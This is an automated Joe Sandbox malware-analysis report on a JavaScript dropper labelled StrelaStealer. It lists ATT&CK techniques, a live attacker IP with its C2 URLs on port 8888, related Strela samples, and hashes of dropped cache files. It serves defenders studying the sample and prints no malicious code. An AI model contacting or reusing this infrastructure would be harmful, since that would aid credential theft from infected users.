Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
12621132703258916868.js	5%	Virustotal		Browse
12621132703258916868.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/C	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2637050546.000001C2C1C70000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1414741820.0000028532D78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1414741820.0000028532DD1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1414741820.0000028532DAB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000007.00000002.1414741820.0000028532D78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/C	net.exe, 00000007.00000002.1414741820.0000028532DAB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1432183608.000001C2C1B30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588347
Start date and time:	2025-01-11 01:00:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	12621132703258916868.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 199.232.214.172, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 23.55.243.70, 23.55.243.72, 13.107.246.45, 52.149.20.212, 54.224.241.105, 23.56.162.204, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:01:10	API Interceptor	22x Sleep call for process: powershell.exe modified
19:01:14	API Interceptor	1x Sleep call for process: net.exe modified
19:01:15	API Interceptor	2x Sleep call for process: svchost.exe modified
19:01:25	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	Cpfkf79Rzk.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
	https://noiclethomas.wixsite.com/rice	Get hash	malicious	Unknown	Browse	13.107.246.45
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	OKkUGRkZV7.exe	Get hash	malicious	Remcos	Browse	13.107.246.45
	https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse	13.107.246.45
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	hgq5nzWJll.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
bg.microsoft.map.fastly.net	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807182737856079
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9r:0J7adfWuK0p/QDfKoPeuP0aN4fqoxA
MD5:	758D6B2D998BD8D6A9D325175693BE95
SHA1:	C6A0AFB71A6495EE793F3438B98CB1B2F70364B7
SHA-256:	054EF3A96AF89A68C31C9ACCC1CB4272BED126A3E517EF4B2ACA0E351DBD7599
SHA-512:	5141CC6A786B896FC5D7AB0B920A4404E917E9377BF0068E8FCDC213A421D4CCD7C2F155D7C1183B33DCB6200502EA8FF9AB0FDE13AFAA979A98A46446074119
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xea95f4ff, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.787961155704871
Encrypted:	false
SSDEEP:	1536:XSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:XazaPv4V4fXq2UaB
MD5:	7B93465F71B6ABDE02D23EA9CC5A2606
SHA1:	A8E79704EB01E1693019F851902AE6BE09A9418B
SHA-256:	DD7395850585F60311B8E7B6DE1BF73521BEBEF90768BD7C5669DCB52F8F0E52
SHA-512:	6085D8B9FD3A87CFF1F1D418E82BCA5F02601C32E58A7F12180CFC028EB79BC23D4CE9FE122F73E6D3E01FD1E7A02055624A096950F81C8F73C1703079F51869
Malicious:	false
Preview:	...... ...............X\...;...{......................X............{.......}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................%........};2................z.L<.....}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0788908677767072
Encrypted:	false
SSDEEP:	3:1YYeCcT2vgvemXlVG0+q2Iqe8lHkdY+/YllNTt/4ll/Q6beV/:Czdq9UGE8lEd0Htc6V
MD5:	9053BED3E4993D87C07B1D39FECD6817
SHA1:	2EAF29958C01A31F15F1D810D1595270902B5BDE
SHA-256:	31157EC4D528F80E4F33B187F21FC36EB287BEBF7AA68F155C7CDDDD9DF43696
SHA-512:	270B156F3E66263AB3D67338F3E46CC0C0FDF4151A8A1EA075508DB41357054CAD7D92495D23B3D1AD87FCCC15126506F8E6B266E0CC28A360384F27C64462B9
Malicious:	false
Preview:	D........................................;...{.......}.......{...............{.......{....:......{.................z.L<.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.14379594825047
Encrypted:	false
SSDEEP:	6:iO4Nr+q2PFi2nKuAl9OmbnIFUtSN6PZmwsNBUIVkwOFi2nKuAl9OmbjLJ:7u+vdZHAahFUtPP/pIV5wZHAaSJ
MD5:	73F386410CD31EB7C30B06DD992E8D05
SHA1:	7AF6F84BED1E8CF2A42EF6ED0C6CE5196D20EFD7
SHA-256:	56E8817E15C4CE1509445EFDAAE77A767263AD7F673D2E1F69163B8F41A77659
SHA-512:	DAC0A21DC221B1D428D9FE3C0F8A66062BCA2EA161B34AE0E846558A8AA3F0BF06B08E14748D3C25C5ECB601892C52D6467ABE1A647F49CC58F9A26F66EE48C7
Malicious:	false
Preview:	2025/01/10-19:01:15.578 182c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:01:15.580 182c Recovering log #3.2025/01/10-19:01:15.581 182c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.14379594825047
Encrypted:	false
SSDEEP:	6:iO4Nr+q2PFi2nKuAl9OmbnIFUtSN6PZmwsNBUIVkwOFi2nKuAl9OmbjLJ:7u+vdZHAahFUtPP/pIV5wZHAaSJ
MD5:	73F386410CD31EB7C30B06DD992E8D05
SHA1:	7AF6F84BED1E8CF2A42EF6ED0C6CE5196D20EFD7
SHA-256:	56E8817E15C4CE1509445EFDAAE77A767263AD7F673D2E1F69163B8F41A77659
SHA-512:	DAC0A21DC221B1D428D9FE3C0F8A66062BCA2EA161B34AE0E846558A8AA3F0BF06B08E14748D3C25C5ECB601892C52D6467ABE1A647F49CC58F9A26F66EE48C7
Malicious:	false
Preview:	2025/01/10-19:01:15.578 182c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:01:15.580 182c Recovering log #3.2025/01/10-19:01:15.581 182c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.144060916033051
Encrypted:	false
SSDEEP:	6:iO4NmMAQyq2PFi2nKuAl9Ombzo2jMGIFUtSNdVG1ZmwsNdVQRkwOFi2nKuAl9OmT:7jvdZHAa8uFUt71/x5wZHAa8RJ
MD5:	2100BD1804BD1249BE1905E897238718
SHA1:	926212738D6540998F30133ABBC7386DC49B51C9
SHA-256:	577FDF0C1D5D4D300BD4F3F1B2278C13A18C63227A4EE4558C4D81AF37BA6220
SHA-512:	0FAB9857B667561B2F8588A69A76DA339D7B7F2A39AED4C1814311DAC27BDADD1E1201F7CDEEDDE214677D0B7467A26751C5DA6B996AC5DAB7E74C286A36FF3B
Malicious:	false
Preview:	2025/01/10-19:01:15.614 f30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:01:15.615 f30 Recovering log #3.2025/01/10-19:01:15.615 f30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.144060916033051
Encrypted:	false
SSDEEP:	6:iO4NmMAQyq2PFi2nKuAl9Ombzo2jMGIFUtSNdVG1ZmwsNdVQRkwOFi2nKuAl9OmT:7jvdZHAa8uFUt71/x5wZHAa8RJ
MD5:	2100BD1804BD1249BE1905E897238718
SHA1:	926212738D6540998F30133ABBC7386DC49B51C9
SHA-256:	577FDF0C1D5D4D300BD4F3F1B2278C13A18C63227A4EE4558C4D81AF37BA6220
SHA-512:	0FAB9857B667561B2F8588A69A76DA339D7B7F2A39AED4C1814311DAC27BDADD1E1201F7CDEEDDE214677D0B7467A26751C5DA6B996AC5DAB7E74C286A36FF3B
Malicious:	false
Preview:	2025/01/10-19:01:15.614 f30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:01:15.615 f30 Recovering log #3.2025/01/10-19:01:15.615 f30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7023f68e-2b1c-49b6-a9ae-5c0c7a82be97.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d134025-cf76-4f49-ab37-a08734565790.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.959362679494153
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqr02sBdOg2HIUcaq3QYiubpP7E4TX:Y2sRds7dMH23QYhbd7n7
MD5:	BECAB937AF9153D71598EE6E00CF4A81
SHA1:	44447F1C41F13678DF462BBBA0B05D06720B52B2
SHA-256:	416EC574B70A9D939B50D90C50E8FFAC0525DEAA9046E6DF3592133375AEFB07
SHA-512:	2F1A7F1763A6DED84356F894D2BE9CFADC5A4BD9194942A88E3F0E8F03BEC63CF81C4A5C01386D6BF3820A1D5EB35459A4D04B0E8CD30A650B9050E663042358
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381113686866147","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139714},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4687aa.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237106850450285
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVCzqAl:wshFT0h7cZb2EVKZPEANcGIK5EVYqO
MD5:	A840B6AADF26C599D94A56532B680EDB
SHA1:	36CE9BEB326A5337E467A91FCC8DDD7E74C05A8E
SHA-256:	BD2738313F0949C2DBC0A43C4A63316F5F7E441DA9D5E215C7679F87AFA5D200
SHA-512:	4A582D2E53DCDB70BCBC64EE5402D36A3E4F3A5EB69A6FCAD9C8E360BE3F61E529906F74F66C8F912FAB79385649ED26465566CAE7D3B2DF46EEC02FA944D3B0
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.135975488989501
Encrypted:	false
SSDEEP:	6:iO4NCAQyq2PFi2nKuAl9OmbzNMxIFUtSNYoSG1ZmwsNySQRkwOFi2nKuAl9OmbzE:7x4vdZHAa8jFUtNy1/D5wZHAa84J
MD5:	26908B55F5A96844353AD3E72E45942B
SHA1:	435C091FE807037A609637A9AA116D853EAEA94A
SHA-256:	E5F88B18070FE0DDD0DC8E259F732CDC8A1BC5C825173CBC66AE9443E9D3FAB3
SHA-512:	342B7955ABFF367439F0A948154D91C857194D438B88602CA5B0B2D9774CB301A4CA1ED1EAC1A9C6B972AE37BCC87E35DE0AE45F6611039CE678F4CFEA4C4881
Malicious:	false
Preview:	2025/01/10-19:01:16.199 f30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:01:16.202 f30 Recovering log #3.2025/01/10-19:01:16.203 f30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.135975488989501
Encrypted:	false
SSDEEP:	6:iO4NCAQyq2PFi2nKuAl9OmbzNMxIFUtSNYoSG1ZmwsNySQRkwOFi2nKuAl9OmbzE:7x4vdZHAa8jFUtNy1/D5wZHAa84J
MD5:	26908B55F5A96844353AD3E72E45942B
SHA1:	435C091FE807037A609637A9AA116D853EAEA94A
SHA-256:	E5F88B18070FE0DDD0DC8E259F732CDC8A1BC5C825173CBC66AE9443E9D3FAB3
SHA-512:	342B7955ABFF367439F0A948154D91C857194D438B88602CA5B0B2D9774CB301A4CA1ED1EAC1A9C6B972AE37BCC87E35DE0AE45F6611039CE678F4CFEA4C4881
Malicious:	false
